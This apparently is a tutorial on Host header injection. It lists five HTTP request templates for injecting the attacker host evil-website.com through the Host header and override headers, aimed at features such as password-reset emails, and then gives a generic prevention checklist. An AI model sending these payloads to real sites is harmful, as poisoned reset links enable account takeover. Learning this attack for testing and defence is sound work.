How to detect and prevent host header injection attacks

Introduction

HTTP Host header attacks exploit vulnerable websites that handle the value of the Host header in an unsafe way.

If the server implicitly trusts the Host header and fails to validate or escape it properly, an attacker may be able to use this input to inject harmful payloads that manipulate server-side behavior.

Attacks that involve injecting a payload directly into the Host header are often known as “Host header injection” attacks.

POC

Where to find

In the feature where the website can send emails to us. For example, forgot password/newsletter.

How to exploit

1. Change the host header

GET /index.php HTTP/1.1
Host: evil-website.com
...

2. Duplicating the host header

GET /index.php HTTP/1.1
Host: vulnerable-website.com
Host: evil-website.com
...

3. Add line wrapping

GET /index.php HTTP/1.1
 Host: vulnerable-website.com
Host: evil-website.com
...

4. Add host override headers

X-Forwarded-For: evil-website.com
X-Forwarded-Host: evil-website.com
X-Client-IP: evil-website.com
X-Remote-IP: evil-website.com
X-Remote-Addr: evil-website.com
X-Host: evil-website.com

How to use it? In this case I’m using “X-Forwarded-For: evil.com”

GET /index.php HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-For : evil-website.com
...

5. Supply an absolute URL

GET https://vulnerable-website.com/ HTTP/1.1
Host: evil-website.com
...

To prevent host header injection attacks, Do Follow these

1. Validate all input to the web server: This includes input from HTTP headers, query strings, and form data. Make sure to validate all input for length, type, and format, and reject any input that does not meet your specifications.
2. Use proper authentication and authorization controls: Implement strong password policies and use two-factor authentication whenever possible. Use secure session management techniques, such as using HTTPS and session tokens, to protect against unauthorized access.
3. Use a web application firewall (WAF): A WAF can help protect against host header injection attacks by inspecting incoming HTTP requests and blocking any that appear to be malicious.
4. Enable HTTP strict transport security (HSTS): HSTS is a security feature that forces the web browser to use HTTPS for all requests to the website, even if the user attempts to use HTTP. This can help prevent attackers from intercepting and modifying HTTP requests.
5. Keep your web server and applications up to date: Regularly apply security patches and updates to your web server and applications to protect against known vulnerabilities.

By following these best practices, you can help protect your web server against host header injection attacks.